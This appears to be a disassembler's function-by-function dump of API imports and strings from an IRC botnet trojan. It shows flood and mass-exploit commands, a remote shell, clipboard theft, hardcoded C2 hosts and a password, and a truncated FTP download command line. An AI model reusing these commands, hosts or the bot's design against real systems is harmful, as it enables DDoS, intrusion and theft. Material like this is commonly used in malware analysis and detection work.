sub_outside():
WS2_32.WSAStartup
WS2_32.socket
WS2_32.inet_addr
WS2_32.ntohs
WS2_32.connect
WS2_32.setsockopt
WS2_32.send
WS2_32.recv
WS2_32.closesocket
KERNEL32.Sleep
KERNEL32.GetTickCount
KERNEL32.GetVersion
KERNEL32.GetModuleHandleA
KERNEL32.GetCurrentProcessId
KERNEL32.ExitProcess
|
sub_41BDA2(0126):
KERNEL32.SetUnhandledExceptionFilter
|
sub_40AA37(019e):
"%sKB"
"failed"
|
sub_4084F4(03c8):
"%s Error: %s <%d>."
|
sub_4092A2(04c3):
KERNEL32.GetTickCount
"%dd %dh %dm"
|
sub_412BED(04fb):
WS2_32.inet_ntoa
KERNEL32.Sleep
KERNEL32.CloseHandle
WS2_32.ntohl
|
sub_41A452(06bc):
KERNEL32.GetCPInfo
|
sub_40BF5E(091e):
"Username accounts for local system:"
" %S"
"Total users found: %d."
|
sub_409AB2(09b3):
KERNEL32.Sleep
|
sub_40CC09(0aa6):
KERNEL32.Sleep
WS2_32.WSAStartup
WS2_32.gethostbyname
WS2_32.socket
WS2_32.ntohs
WS2_32.connect
WS2_32.recv
WS2_32.send
WS2_32.closesocket
WS2_32.WSACleanup
KERNEL32.GetTickCount
SHELL32.ShellExecuteA
WS2_32.getsockname
WS2_32.inet_ntoa
WS2_32.inet_addr
KERNEL32.CreateProcessA
WS2_32.gethostbyaddr
KERNEL32.GetModuleFileNameA
KERNEL32.GetSystemDirectoryA
DNSAPI.DnsFlushResolverCache
" :"
" "
"!"
"PING"
"PONG %s\r\n"
"JOIN %s %s\r\n"
"001"
"005"
"302"
"@"
"433"
"NICK %s\r\n"
"KICK"
".e.(1.0b) ( enz.m.d.l ) .. User %s l"...
"NOTICE %s :%s\r\n"
"JOIN %s %s\r\n"
"NICK"
":%s%s"
"PART"
"QUIT"
"353"
".e.(1.0b) ( enz.m.d.l ) .. Joined ch"...
".e.(1.0b) ( enz.m.d.l ) .. User: %s "...
"PART"
"NOTICE %s :%s\r\n"
"PRIVMSG"
"NOTICE"
"SEND"
"%s"
".e.(1.0b) ( dcc.m.d.l ) .. Receive f"...
"%s has just versioned me."
".e.(1.0b) ( dcc.m.d.l ) .. Failed to"...
".e.(1.0b) ( dcc.m.d.l ) .. Receive f"...
"CHAT"
"%s"
".e.(1.0b) ( dcc.m.d.l ) .. Chat from"...
".e.(1.0b) ( dcc.m.d.l ) .. Failed to"...
".e.(1.0b) ( dcc.m.d.l ) .. Chat alre"...
".e.(1.0b) ( dcc.m.d.l ) .. Chat fail"...
"newshit"
"hi"
" :"
"$%d-"
"$user"
"$chan"
"$rndnick"
"$server"
"$chr("
")"
"63"
" "
" "
"enz.rndnick"
"enz.rn"
"enz.endsess"
"enz.d"
"enz.logout"
"enz.lo"
"server.socks4.on"
"server.s4.on"
"server.socks4.off"
"Server"
".s.ocks.4..."
"server.rlogin.off"
"Server"
"server.web.off"
"Server"
".h.ttp.d..."
"log.off"
"Log list"
".l.o.g..."
"server.redirect.off"
"TCP redirect"
".r.edirec.t..."
"ddos.off"
"DDoS flood"
".d.do.s..."
"ddos.syn.off"
"Syn flood"
".s.y.n..."
"ddos.udp.off"
"UDP flood"
".u.d.p..."
"Ping flood"
".p.in.g..."
"server.tftp.off"
"Server"
".t.ftp.d..."
"box.ps.off"
"clone.off"
"Clone"
".c.lone.s..."
"Secure"
".s.ecur.e..."
"vuln.stop"
"Scan"
"Exploitation"
"vuln.stats"
"vuln.st"
"enz.reh4sh"
"enz.rh4"
"enz.endt3rm"
"enz.et3"
"enz.t3rm1"
"enz.status"
"enz.s"
"enz.id"
"enz.i"
"box.rebewt"
".e.(1.0b) ( enz.m.d.l ) .. Rebooting"...
".e.(1.0b) ( enz.m.d.l ) .. Failed to"...
"threads.list"
"threads.l"
"enz.aliases"
"enz.al"
"enz.log"
"enz.lg"
"util.clg"
"box.netinfo"
"box.ni"
"box.sysinfo"
"box.si"
"enz.beg0ne"
"enz.b3g"
"box.procs"
"box.ps"
"box.uptime"
"box.up"
"box.drv"
"box.testdlls"
"box.dll"
"box.opencmd"
"box.ocmd"
"box.ocmd.off"
"Remote shell"
"[CMD]"
"enz.who"
"-[Login List]-"
""
"%d. %s"
".e.(1.0b) ( enz.m.d.l ) .. Login lis"...
"box.getclip"
"box.gc"
"util.farp"
"util.fdns"
"vuln.currentip"
"vuln.cip"
"server.httpd.on"
"server.tftp.on"
"server.tf.on"
"vuln.massexploit"
"vall"
"enz.nick"
"enz.n"
"enz.join"
"enz.j"
"enz.part"
"enz.pt"
"enz.raw"
"enz.r"
"threads.kill"
"threads.k"
"clone.quit"
"clone.q"
"clone.rn"
"enz.prefix"
"enz.pr"
"box.open"
"box.o"
"enz.setserve"
"enz.se"
"enz.dns"
"enz.dn"
"box.killprocname"
"box.kpn"
"box.prockillid"
"box.pkid"
"box.delete"
"box.del"
"dcc.get"
"dcc.gt"
"box.filelist"
"box.fl"
"mirc.cmd"
"mirc.cmd"
"box.cmd"
"box.cm"
"box.readfile"
"box.rf"
"sniff"
"on"
".e.(1.0b) ( sniff.m.d.l ) .. Already"...
"#ccc"
".e.(1.0b) ( sniff.m.d.l ) .. Carnivo"...
".e.(1.0b) ( sniff.m.d.l ) .. Failed "...
".e.(1.0b) ( sniff.m.d.l ) .. Carnivo"...
".e.(1.0b) ( sniff.m.d.l ) .. No Carn"...
"box.net"
".e.(1.0b) ( net.m.d.l ) .. Failed to"...
"start"
"%s"
".e.(1.0b) ( net.m.d.l ) .. Service l"...
".e.(1.0b) ( net.m.d.l ) .. Service l"...
"stop"
"pause"
"continue"
"delete"
"share"
"%s"
".e.(1.0b) ( net.m.d.l ) .. Share lis"...
".e.(1.0b) ( net.m.d.l ) .. Share lis"...
"user"
"%s"
".e.(1.0b) ( net.m.d.l ) .. User list"...
".e.(1.0b) ( net.m.d.l ) .. User list"...
"send"
"%s"
".e.(1.0b) ( net.m.d.l ) .. No messag"...
".e.(1.0b) ( net.m.d.l ) .. Command u"...
"enz.gethost"
"enz.gh"
"enz.addalias"
"enz.aa"
"enz.privmsg"
"enz.pm"
"enz.action"
"enz.ac"
"enz.cycle"
"enz.cy"
"enz.mode"
"enz.m"
"clone.raw"
"clone.ra"
"clone.mode"
"clone.m"
"clone.nick"
"clone.ni"
"clone.join"
"clone.j"
"clone.part"
"clone.p"
"enz.repeat"
"enz.rp"
"enz.delay"
"enz.de"
"download.updiz"
"download.upz"
"box.execute"
"box.e"
"box.rename"
"box.mv"
"ddos.icmp"
"ddos.ic"
"clone.make"
"clone.start"
"ds.sy1"
"ds.ack"
"ds.rm"
"sy1"
"download.fromwww"
"d1"
"server.redirect.on"
"server.rd.on"
"enz.portscan"
"enz.ps"
"clone.pm"
"clone.action"
"clone.ac"
"vuln.start"
"ddos.udpf"
"pu"
"ddos.pingflood"
"ddos.pingf"
"pg"
"util.email"
" "
"_"
"helo $rndnick\nmail from: <%s>\nrcpt to: "...
".15,14enz10b .2.. .15(email.2..15mod) ."...
"util.httpcon"
"util.hcon"
"ftp.upload"
".e.(1.0b) ( ftp.m.d.l ) .. File not "...
"%s\\%i%i%i.dll"
"ab"
"open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
"-s:%s"
"ftp.exe"
"open"
".e.(1.0b) ( ftp.m.d.l ) .. Uploading"...
".e.(1.0b) ( ftp.m.d.l ) .. Uploading"...
"random"
".e.(1.0b) ( tcp.m.d.l ) .. Invalid f"...
"Spoofed"
"Normal"
".e.(1.0b) ( tcp.m.d.l ) .. %s %s flo"...
".e.(1.0b) ( tcp.m.d.l ) .. Failed to"...
".e.(1.0b) ( tcp.m.d.l ) .. Invalid f"...
".e.(1.0b) ( ping.m.d.l ) .. Sending "...
".e.(1.0b) ( ping.m.d.l ) .. Failed t"...
"ICMP.dll not available"
".e.(1.0b) ( udp.m.d.l ) .. Sending %"...
".e.(1.0b) ( udp.m.d.l ) .. Failed to"...
".e.(1.0b) ( exploit.m.d.l ) .. Alrea"...
".e.(1.0b) ( exploit.m.d.l ) .. Faile"...
"Sequential"
".e.(1.0b) ( exploit.m.d.l ) .. %s Ex"...
".e.(1.0b) ( exploit.m.d.l ) .. Faile"...
"[%s] * %s %s"
"[%s] <%s> %s"
".e.(1.0b) ( portscan.m.d.l ) .. Port"...
".e.(1.0b) ( portscan.m.d.l ) .. Fail"...
".e.(1.0b) ( redirect.m.d.l ) .. TCP "...
".e.(1.0b) ( redirect.m.d.l ) .. Fail"...
".e.(1.0b) ( download.m.d.l ) .. Down"...
".e.(1.0b) ( download.m.d.l ) .. Fail"...
".e.(1.0b) ( syn.m.d.l ) .. Flooding:"...
".e.(1.0b) ( syn.m.d.l ) .. Failed to"...
".e.(1.0b) ( ddos.m.d.l ) .. Flooding"...
".e.(1.0b) ( ddos.m.d.l ) .. Failed t"...
".e.(1.0b) ( clones.m.d.l ) .. Create"...
".e.(1.0b) ( clones.m.d.l ) .. Failed"...
".e.(1.0b) ( icmp.m.d.l ) .. Flooding"...
".e.(1.0b) ( icmp.m.d.l ) .. Failed t"...
".e.(1.0b) ( icmp.m.d.l ) .. Invalid "...
".e.(1.0b) ( file.m.d.l ) .. Rename: "...
".e.(1.0b) ( file.m.d.l ) .. "
".e.(1.0b) ( exec.m.d.l ) .. Couldn't"...
".e.(1.0b) ( exec.m.d.l ) .. Commands"...
"nt801"
"%s%s.exe"
".e.(1.0b) ( update.m.d.l ) .. Downlo"...
".e.(1.0b) ( update.m.d.l ) .. Failed"...
".e.(1.0b) ( update.m.d.l ) .. Bot ID"...
"%s %s %s :%s"
".e.(1.0b) ( enz.m.d.l ) .. Delay."
"repeat"
"%s %s %s :%s"
".e.(1.0b) ( enz.m.d.l ) .. Repeat: %"...
".e.(1.0b) ( enz.m.d.l ) .. Repeat no"...
"PART %s"
"%s\r\n"
"JOIN %s %s"
"NICK %s"
"%s\r\n"
".e.(1.0b) ( clone.m.d.l ) .. Nick (%"...
"MODE %s"
"%s\r\n"
".e.(1.0b) ( clone.m.d.l ) .. Mode (%"...
"%s\r\n"
".e.(1.0b) ( clone.m.d.l ) .. Raw (%s"...
"MODE %s\r\n"
".e.(1.0b) ( enz.m.d.l ) .. Mode chan"...
"PART %s\r\n"
"JOIN %s %s\r\n"
".e.(1.0b) ( enz.m.d.l ) .. Cycle."
".e.(1.0b) ( enz.m.d.l ) .. Action: %"...
".e.(1.0b) ( enz.m.d.l ) .. Privmsg: "...
".e.(1.0b) ( enz.m.d.l ) .. Alias add"...
"%s %s %s :%s"
".e.(1.0b) ( enz.m.d.l ) .. Gethost: "...
".e.(1.0b) ( enz.m.d.l ) .. Unable to"...
".e.(1.0b) ( enz.m.d.l ) .. Gethost: "...
"r"
".e.(1.0b) ( enz.m.d.l ) .. Read file"...
".e.(1.0b) ( enz.m.d.l ) .. Read file"...
"\n"
".e.(1.0b) ( cmd.m.d.l ) .. Error sen"...
".e.(1.0b) ( cmd.m.d.l ) .. Commands:"...
".e.(1.0b) ( mirc.m.d.l ) .. Client n"...
".e.(1.0b) ( mirc.m.d.l ) .. Command "...
".e.(1.0b) ( file.m.d.l ) .. List: %s"...
"%s"
".e.(1.0b) ( dcc.m.d.l ) .. Send File"...
".e.(1.0b) ( dcc.m.d.l ) .. Failed to"...
".e.(1.0b) ( file.m.d.l ) .. Deleted "...
".e.(1.0b) ( file.m.d.l ) .. "
".e.(1.0b) ( process.m.d.l ) .. Proce"...
".e.(1.0b) ( process.m.d.l ) .. Faile"...
".e.(1.0b) ( process.m.d.l ) .. Proce"...
".e.(1.0b) ( process.m.d.l ) .. Faile"...
".e.(1.0b) ( dns.m.d.l ) .. Lookup: %"...
".e.(1.0b) ( dns.m.d.l ) .. Couldn't "...
".e.(1.0b) ( enz.m.d.l ) .. Server ch"...
"open"
".e.(1.0b) ( shell.m.d.l ) .. File op"...
".e.(1.0b) ( shell.m.d.l ) .. Couldn'"...
".e.(1.0b) ( enz.m.d.l ) .. Prefix ch"...
"NICK %s"
"QUIT :later\r\n"
".e.(1.0b) ( threads.m.d.l ) .. Stopp"...
".e.(1.0b) ( threads.m.d.l ) .. No ac"...
".e.(1.0b) ( threads.m.d.l ) .. Kille"...
".e.(1.0b) ( threads.m.d.l ) .. Faile"...
"%s\r\n"
".e.(1.0b) ( enz.m.d.l ) .. IRC Raw: "...
"PART %s\r\n"
".e.(1.0b) ( enz.m.d.l ) .. Parted ch"...
"JOIN %s %s\r\n"
".e.(1.0b) ( enz.m.d.l ) .. Joined ch"...
"NICK %s\r\n"
".e.(1.0b) ( enz.m.d.l ) .. Nick chan"...
".e.(1.0b) ( exploit.m.d.l ) .. Alrea"...
"Sequential"
".e.(1.0b) ( exploit.m.d.l ) .. %s Po"...
".e.(1.0b) ( exploit.m.d.l ) .. Faile"...
".e.(1.0b) ( exploit.m.d.l ) .. Faile"...
".e.(1.0b) ( tftpd.m.d.l ) .. Already"...
"Tilehome.com"
".e.(1.0b) ( tftpd.m.d.l ) .. Server "...
".e.(1.0b) ( tftpd.m.d.l ) .. Failed "...
".e.(1.0b) ( httpd.m.d.l ) .. Server "...
".e.(1.0b) ( httpd.m.d.l ) .. Failed "...
".e.(1.0b) ( flushdns.m.d.l ) .. DNS "...
".e.(1.0b) ( flushdns.m.d.l ) .. Fail"...
".e.(1.0b) ( flushdns.m.d.l ) .. Fail"...
".e.(1.0b) ( flushdns.m.d.l ) .. ARP "...
".e.(1.0b) ( flushdns.m.d.l ) .. Fail"...
".e.(1.0b) ( enz.m.d.l ) .. Get Clipb"...
".e.(1.0b) ( cmd.m.d.l ) .. Remote sh"...
".e.(1.0b) ( cmd.m.d.l ) .. Couldn't "...
".e.(1.0b) ( cmd.m.d.l ) .. Remote sh"...
".e.(1.0b) ( enz.m.d.l ) .. Uptime: %"...
".e.(1.0b) ( process.m.d.l ) .. Alrea"...
"full"
".e.(1.0b) ( process.m.d.l ) .. Procc"...
".e.(1.0b) ( process.m.d.l ) .. Faile"...
".e.(1.0b) ( enz.m.d.l ) .. Removing "...
".e.(1.0b) ( enz.m.d.l ) .. System In"...
".e.(1.0b) ( enz.m.d.l ) .. Network I"...
"%s"
".e.(1.0b) ( log.m.d.l ) .. Listing l"...
".e.(1.0b) ( log.m.d.l ) .. Failed to"...
".e.(1.0b) ( enz.m.d.l ) .. Alias lis"...
".e.(1.0b) ( threads.m.d.l ) .. List "...
".e.(1.0b) ( threads.m.d.l ) .. Faile"...
"nt801"
".e.(1.0b) ( enz.m.d.l ) .. Bot ID: %"...
".e.(1.0b) ( enz.m.d.l ) .. Status: R"...
"QUIT :%s\r\n"
"QUIT :later\r\n"
"QUIT :disconnecting\r\n"
".e.(1.0b) ( enz.m.d.l ) .. Disconnec"...
"QUIT :reconnecting\r\n"
".e.(1.0b) ( enz.m.d.l ) .. Reconnect"...
"Process list"
".p.ro.c..."
".e.(1.0b) ( socks.m.d.l ) .. Server "...
".e.(1.0b) ( socks.m.d.l ) .. Failed "...
".e.(1.0b) ( enz.m.d.l ) .. User %s l"...
".e.(1.0b) ( enz.m.d.l ) .. No user l"...
".e.(1.0b) ( enz.m.d.l ) .. Invalid l"...
".e.(1.0b) ( enz.m.d.l ) .. User %s l"...
"NICK %s\r\n"
".e.(1.0b) ( enz.m.d.l ) .. Random ni"...
"!"
"~"
"hi"
"NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
"NOTICE %s :You've been logged.\r\n"
".e.(1.0b) ( enz.m.d.l ) .. *Failed p"...
"NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
"NOTICE %s :You've been logged.\r\n"
".e.(1.0b) ( enz.m.d.l ) .. *Failed h"...
"hi"
".e.(1.0b) ( enz.m.d.l ) .. Password "...
".e.(1.0b) ( enz.m.d.l ) .. User: %s "...
"USERHOST %s\r\n"
"+x+i"
"MODE %s %s\r\n"
"JOIN %s %s\r\n"
|
sub_4093C1(0c5f):
ADVAPI32.GetUserNameA
WS2_32.inet_addr
WS2_32.gethostbyaddr
KERNEL32.GetSystemDirectoryA
"95"
"NT"
"98"
"ME"
"2K"
"XP"
"2003"
"???"
"%s (%s)"
"couldn't resolve host"
"dd:MMM:yyyy"
"HH:mm:ss"
"[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
|
sub_404ECE(0cd7):
KERNEL32.GetFileAttributesA
WS2_32.closesocket
KERNEL32.CreateFileA
KERNEL32.CloseHandle
KERNEL32.Sleep
"%s"
"%s%s"
"\n"
"*"
|
sub_41CA11(0e35):
KERNEL32.WideCharToMultiByte
USER32.GetActiveWindow
USER32.GetLastActivePopup
USER32.MessageBoxA
"user32.dll"
"MessageBoxA"
"GetActiveWindow"
"GetLastActivePopup"
|
sub_40BB90(1192):
"Account: %S"
"Full Name: %S"
"User Comment: %S"
"Comment: %S"
"Unknown"
"Administrator"
"User"
"Guest"
"Privilege Level: %s"
"Auth Flags: %d"
"Home Directory: %S"
"Parameters: %S"
"Password Age: %d"
"Bad Password Count: %d"
"Number of Logins: %d"
"Last Logon: %d"
"Last Logoff: %d"
"Logon Server: %S"
"Country Code: %d"
"User's Language: %d"
"Max. Storage: %d"
|
sub_4048F1(1202):
WS2_32.ntohs
WS2_32.socket
WS2_32.bind
WS2_32.listen
WS2_32.ioctlsocket
WS2_32.select
WS2_32.__WSAFDIsSet
WS2_32.accept
WS2_32.recv
WS2_32.closesocket
WS2_32.WSAGetLastError
"GET "
" "
"\r\n"
|
sub_4123B8(133a):
KERNEL32.CreateToolhelp32Snapshot
KERNEL32.Process32First
KERNEL32.Process32Next
KERNEL32.OpenProcess
KERNEL32.CloseHandle
KERNEL32.Module32First
"SeDebugPrivilege"
"i11r54n4.exe"
" %s (%d)"
"SeDebugPrivilege"
|
sub_408947(1583):
WS2_32.inet_addr
WS2_32.gethostbyname
|
sub_408F0D(1596):
KERNEL32.Sleep
WS2_32.send
"PRIVMSG %s :%s\r"
"%s"
|
sub_41ABF0(18d1):
KERNEL32.GetModuleFileNameA
"C:\\m_unpacker\\packed.exe"
|
sub_401000(1934):
KERNEL32.GetTickCount
|
sub_405900(1b19):
WS2_32.WSAStartup
WS2_32.socket
WS2_32.ntohs
WS2_32.connect
WS2_32.send
WS2_32.recv
WS2_32.closesocket
WS2_32.WSACleanup
"%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
|
sub_4126C5(1e2b):
KERNEL32.OpenProcess
KERNEL32.CloseHandle
|
sub_401447(1f2a):
WS2_32.socket
WS2_32.WSAGetLastError
WS2_32.setsockopt
WS2_32.inet_addr
WS2_32.ntohs
KERNEL32.GetTickCount
WS2_32.sendto
WS2_32.closesocket
|
sub_406435(22a3):
"%d.%d.%d.%d"
|
sub_409675(23e7):
WININET.InternetGetConnectedStateExA
"Not connected"
"Dial-up"
"[NETINFO]: [Type]: %s (%s). [IP Address"...
|
sub_406B69(27b2):
WS2_32.socket
WS2_32.ntohs
WS2_32.inet_addr
WS2_32.gethostbyname
WS2_32.gethostbyaddr
WS2_32.connect
WS2_32.inet_ntoa
KERNEL32.Sleep
WS2_32.recv
WS2_32.send
WS2_32.closesocket
|
sub_412B20(2fa7):
WS2_32.ntohs
WS2_32.socket
WS2_32.connect
WS2_32.inet_ntoa
WS2_32.closesocket
|
sub_406059(32d8):
KERNEL32.GetModuleFileNameA
KERNEL32.Sleep
"Tilehome.com"
"Tilehome.com"
|
sub_409B05(3339):
"rb"
|
sub_7819E5(35e7):
KERNEL32.GetModuleHandleA
KERNEL32.LoadLibraryA
KERNEL32.GetProcAddress
|
sub_4072B6(3672):
WS2_32.select
WS2_32.__WSAFDIsSet
WS2_32.recv
WS2_32.send
|
sub_4085B9(36e0):
USER32.FindWindowA
USER32.SendMessageA
KERNEL32.CloseHandle
"mIRC"
|
sub_40B2B5(38c8):
WS2_32.send
KERNEL32.Sleep
"NOTICE"
"PRIVMSG"
"%s"
"%s %s :%s\r\n"
|
sub_4063ED(3b1d):
WS2_32.ntohl
|
sub_408701(3cc3):
KERNEL32.CreateFileA
KERNEL32.WriteFile
KERNEL32.CloseHandle
KERNEL32.GetModuleHandleA
KERNEL32.GetModuleFileNameA
KERNEL32.GetFileAttributesA
KERNEL32.SetFileAttributesA
KERNEL32.CreateProcessA
"%sdel.bat"
"@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
"%%comspec%% /c %s %s"
|
sub_408F94(3d12):
KERNEL32.Sleep
|
sub_40863B(3f4b):
KERNEL32.SearchPathA
KERNEL32.CreateFileA
KERNEL32.GetFileTime
KERNEL32.CloseHandle
KERNEL32.SetFileTime
"explorer.exe"
|
sub_40A3AD(3fa4):
WININET.InternetOpenUrlA
KERNEL32.CreateFileA
KERNEL32.GetTickCount
WININET.InternetReadFile
KERNEL32.WriteFile
KERNEL32.CloseHandle
SHELL32.ShellExecuteA
KERNEL32.CreateProcessA
WS2_32.WSACleanup
WININET.InternetCloseHandle
"open"
|
sub_406D50(3fdf):
WS2_32.recv
WS2_32.send
WS2_32.closesocket
|
sub_417D6B(4634):
KERNEL32.GetModuleHandleA
"KERNEL32"
"IsProcessorFeaturePresent"
|
sub_4090ED(4696):
KERNEL32.SearchPathA
WS2_32.recv
KERNEL32.CreateProcessA
KERNEL32.CloseHandle
"cmd.exe"
|
sub_40C2D0(4907):
KERNEL32.GetTickCount
KERNEL32.SetErrorMode
KERNEL32.CreateMutexA
KERNEL32.WaitForSingleObject
WS2_32.WSAStartup
KERNEL32.GetSystemDirectoryA
KERNEL32.GetModuleHandleA
KERNEL32.GetModuleFileNameA
KERNEL32.GetFileAttributesA
KERNEL32.SetFileAttributesA
KERNEL32.CopyFileA
KERNEL32.Sleep
KERNEL32.GetCurrentProcessId
KERNEL32.OpenProcess
KERNEL32.CreateProcessA
KERNEL32.CloseHandle
WS2_32.WSACleanup
WININET.InternetGetConnectedState
"nt801"
"%s%s"
"Tilehome.com"
"Tilehome.com"
"%s\\%s"
"%s %d \"%s\""
".e.(1.0b) ( enz.m.d.l ) .. Bot start"...
".e.(1.0b) ( process.m.d.l ) .. AV/FW"...
".e.(1.0b) ( process.m.d.l ) .. Faile"...
".e.(1.0b) ( secure.m.d.l ) .. System"...
".e.(1.0b) ( secure.m.d.l ) .. Failed"...
".e.(1.0b) ( secure.m.d.l ) .. Regist"...
".e.(1.0b) ( secure.m.d.l ) .. Failed"...
"home.najd.us"
"dpass"
"home.najd.us"
"dpass"
"dpass"
|
sub_403B4D(4c8a):
KERNEL32.WriteFile
|
sub_417E92(502f):
"e+000"
|
sub_408C8F(517b):
KERNEL32.GetTickCount
WS2_32.socket
WS2_32.inet_addr
WS2_32.gethostbyname
WS2_32.ntohs
WS2_32.sendto
KERNEL32.Sleep
|
sub_419FC4(547a):
KERNEL32.LCMapStringW
KERNEL32.MultiByteToWideChar
KERNEL32.WideCharToMultiByte
|
sub_4133F9(5581):
WS2_32.closesocket
|
sub_4168FF(55e5):
KERNEL32.HeapCreate
|
sub_4169A4(597c):
KERNEL32.OpenProcess
NTDLL.RtlFreeHeap
|
sub_40A9EF(5b85):
KERNEL32.GetDiskFreeSpaceExA
|
sub_413F7F(5c3f):
NTDLL.RtlFreeHeap
|
sub_402E8D(5f99):
WS2_32.send
"GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
|
sub_4010B2(5fa9):
WS2_32.WSAStartup
WS2_32.WSASocketA
WS2_32.setsockopt
WS2_32.ntohs
WS2_32.ntohl
WS2_32.sendto
WS2_32.WSAGetLastError
WS2_32.closesocket
WS2_32.WSACleanup
"ddos.syn"
"ddos.ack"
"ddos.random"
|
sub_41CA9A(60b5):
NTDLL.RtlAllocateHeap
|
sub_408ED5(62d2):
KERNEL32.WriteFile
|
sub_41D1E1(6338):
"1#SNAN"
"1#IND"
"1#INF"
"1#QNAN"
|
sub_40B479(6353):
"The specified service name is invalid."
"The requested control code is undefined"...
"The handle is invalid."
"The handle does not have the required a"...
"The service binary file could not be fo"...
"The service cannot be stopped because o"...
"The database is locked."
"A thread could not be created for the s"...
"The process for the service was started"...
"The requested control code is not valid"...
"An instance of the service is already r"...
"The system is shutting down."
"An unknown error occurred: <%ld>"
|
sub_417089(64eb):
KERNEL32.VirtualAlloc
|
sub_41B4AB(66df):
KERNEL32.WideCharToMultiByte
|
sub_402AAF(6e81):
WS2_32.select
WS2_32.__WSAFDIsSet
WS2_32.recv
|
sub_41337B(6f34):
"-[Thread List]-"
"%d. %s"
|
sub_405A21(700e):
WS2_32.socket
KERNEL32.Sleep
WS2_32.WSAGetLastError
WS2_32.ntohs
WS2_32.bind
WS2_32.select
WS2_32.recvfrom
WS2_32.inet_ntoa
WS2_32.sendto
WS2_32.closesocket
"octet"
"rb"
|
sub_412A14(71f8):
KERNEL32.GetTickCount
USER32.FindWindowA
"mIRC"
"[%d]%s"
|
sub_40B26F(78e7):
WS2_32.send
|
sub_408EA5(7918):
KERNEL32.CloseHandle
|
sub_4127AA(7e76):
KERNEL32.GetTickCount
|
sub_41DB68(8107):
KERNEL32.GetCPInfo
KERNEL32.MultiByteToWideChar
|
sub_4097BB(8164):
"-[Alias List]-"
"%d. %s = %s"
|
sub_41B513(81be):
KERNEL32.GetStringTypeW
KERNEL32.MultiByteToWideChar
|
sub_41E2FC(822d):
"invalid string position"
|
sub_41E0D0(822d):
"string too long"
|
sub_4039C9(8429):
WS2_32.ntohs
WS2_32.socket
WS2_32.connect
WS2_32.recv
KERNEL32.Sleep
WS2_32.send
WS2_32.closesocket
"Tilehome.com"
"cmd /k echo open %s %d > o&echo user 1 "...
|
sub_409B77(8474):
WS2_32.socket
WS2_32.ntohs
WS2_32.inet_addr
WS2_32.gethostbyname
WS2_32.connect
WS2_32.closesocket
|
sub_419730(84ec):
KERNEL32.CloseHandle
|
sub_408889(89c8):
KERNEL32.CreateFileA
KERNEL32.WriteFile
KERNEL32.CloseHandle
KERNEL32.CreateProcessA
"@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"...
"c:\\a.bat"
|
sub_40B7F3(8cdb):
KERNEL32.WideCharToMultiByte
|
sub_406DED(8da6):
WS2_32.ntohs
WS2_32.socket
WS2_32.bind
WS2_32.listen
WS2_32.accept
WS2_32.inet_ntoa
KERNEL32.Sleep
WS2_32.closesocket
|
sub_41C716(8dd2):
KERNEL32.CreateFileA
KERNEL32.GetFileType
KERNEL32.CloseHandle
|
sub_40857E(8e50):
USER32.OpenClipboard
USER32.GetClipboardData
USER32.CloseClipboard
|
sub_4159E9(91cb):
KERNEL32.GetFileAttributesA
|
sub_40897F(92a8):
IPHLPAPI.GetIpNetTable
IPHLPAPI.DeleteIpNetEntry
|
sub_418BBD(92d9):
"]"
" \t-\r]"
|
sub_41A67D(94b9):
KERNEL32.WriteFile
|
sub_401BD7(951a):
KERNEL32.GetTickCount
WS2_32.socket
WS2_32.WSAGetLastError
WS2_32.setsockopt
WS2_32.inet_addr
WS2_32.ntohs
WS2_32.ntohl
WS2_32.sendto
WS2_32.closesocket
"random"
|
sub_414A03(95ea):
KERNEL32.MultiByteToWideChar
|
sub_4047DA(9713):
WS2_32.WSAStartup
WS2_32.socket
WS2_32.inet_addr
WS2_32.ntohs
WS2_32.connect
WS2_32.closesocket
WS2_32.WSACleanup
|
sub_402B2E(981b):
WS2_32.ntohl
WS2_32.send
|
sub_41BE16(9a80):
KERNEL32.MultiByteToWideChar
|
sub_406782(9b43):
WS2_32.inet_addr
KERNEL32.Sleep
WS2_32.inet_ntoa
|
sub_40C0DE(9bb4):
"Invalid parameter."
"Server name not found."
"This network request is not supported."
"Not enough memory."
"The name is invalid."
"Duplicate share name."
"Invalid for redirected resource."
"Device or directory does not exist."
"Level parameter is invalid."
"A general failure occurred in the netwo"...
"The operation is allowed only on the pr"...
"The user account already exists."
"The group already exists."
"The password is shorter than required ("...
"An unknown error occurred."
"The computer name is invalid."
"Share not found."
"The user name could not be found."
"Network connection not found."
|
sub_41BFB2(9c14):
KERNEL32.WideCharToMultiByte
"TZ"
|
sub_4086DF(9dbe):
USER32.ExitWindowsEx
"SeShutdownPrivilege"
|
sub_402C4D(a2f7):
WS2_32.send
|
sub_4064D1(a6ca):
WS2_32.socket
WS2_32.ntohs
WS2_32.ioctlsocket
WS2_32.connect
WS2_32.select
WS2_32.closesocket
|
sub_40930B(a7c4):
KERNEL32.Sleep
|
sub_41A213(a8e4):
KERNEL32.GetACP
KERNEL32.GetCPInfo
|
sub_40B3D7(a9bc):
ADVAPI32.OpenSCManagerA
ADVAPI32.OpenServiceA
ADVAPI32.ControlService
ADVAPI32.StartServiceA
ADVAPI32.DeleteService
ADVAPI32.CloseServiceHandle
|
sub_404D4C(ab95):
WS2_32.send
WS2_32.closesocket
"text/html"
"application/octet-stream"
"ddd, dd MMM yyyy"
"HH:mm:ss"
"HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
"HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
|
sub_41274C(ac14):
KERNEL32.GetTickCount
"Cc-"
"%s"
"%s%i"
|
sub_413040(add3):
" get "
|
sub_40A160(af3d):
KERNEL32.GetSystemDirectoryA
KERNEL32.CreateFileA
KERNEL32.CloseHandle
WS2_32.recv
WS2_32.ntohl
WS2_32.send
WS2_32.closesocket
"%s%s"
|
sub_40B8C5(afa1):
KERNEL32.MultiByteToWideChar
|
sub_407F9F(b139):
"Kernel32.dll failed. <%d>"
"User32.dll failed. <%d>"
"Advapi32.dll failed. <%d>"
"Gdi32.dll failed. <%d>"
"Ws2_32.dll failed. <%d>"
"Wininet.dll failed. <%d>"
"Icmp.dll failed. <%d>"
"Netapi32.dll failed. <%d>"
"Dnsapi.dll failed. <%d>"
"Iphlpapi.dll failed. <%d>"
"Mpr32.dll failed. <%d>"
"Shell32.dll failed. <%d>"
